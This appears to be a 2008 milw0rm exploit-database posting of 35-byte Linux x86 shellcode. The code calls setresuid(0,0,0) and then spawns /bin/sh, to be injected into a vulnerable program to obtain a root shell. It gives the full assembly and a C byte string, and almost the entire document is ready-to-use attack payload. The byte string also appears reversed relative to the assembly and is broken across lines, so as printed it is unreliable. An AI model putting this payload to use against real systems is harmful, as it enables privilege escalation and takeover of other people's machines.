54 lines
No EOL
1.1 KiB
Text
54 lines
No EOL
1.1 KiB
Text
{==========================================================}
|
|
{ linux x86 setresuid(0,0,0)-/bin/sh shellcode 35 bytes }
|
|
{==========================================================}
|
|
|
|
Shellcode by the FHM crew:
|
|
----------------------------
|
|
http://fhm.noblogs.org
|
|
----------------------------
|
|
|
|
Contact us at:
|
|
|
|
--------------------------------------------------
|
|
sorrow: rawhazard@autistici.org; betat@hotmail.it
|
|
--------------------------------------------------
|
|
fhm: fhm@autistici.org;
|
|
--------------------------------------------------
|
|
|
|
|
|
Assembly code:
|
|
|
|
--[code]--
|
|
BITS 32
|
|
|
|
;setresuid(0,0,0)
|
|
xor eax, eax
|
|
xor ebx, ebx
|
|
xor ecx, ecx
|
|
cdq
|
|
mov BYTE al, 0xa4
|
|
int 0x80
|
|
|
|
;execve("/bin//sh", ["/bin//sh", NULL], [NULL])
|
|
push BYTE 11
|
|
pop eax
|
|
push ecx
|
|
push 0x68732f2f
|
|
push 0x6e69622f
|
|
mov ebx, esp
|
|
push ecx
|
|
mov edx, esp
|
|
push ebx
|
|
mov ecx, esp
|
|
int 0x80
|
|
--[/code]--
|
|
|
|
Shellcode string:
|
|
--[code]--
|
|
char shellcode [] =
|
|
"\x80\xcd\xe1\x89\x53\xe2\x89\x51\xe3\x89\x6e\x69\x62\x2f\x68\x68\x73\x2f\x2f
|
|
|
|
\x68\x51\x58\x0b\x6a\x80\xcd\xa4\xb0\x99\xc9\x31\xdb\x31\xc0\x31"
|
|
-[/code]-
|
|
|
|
# milw0rm.com [2008-09-29] |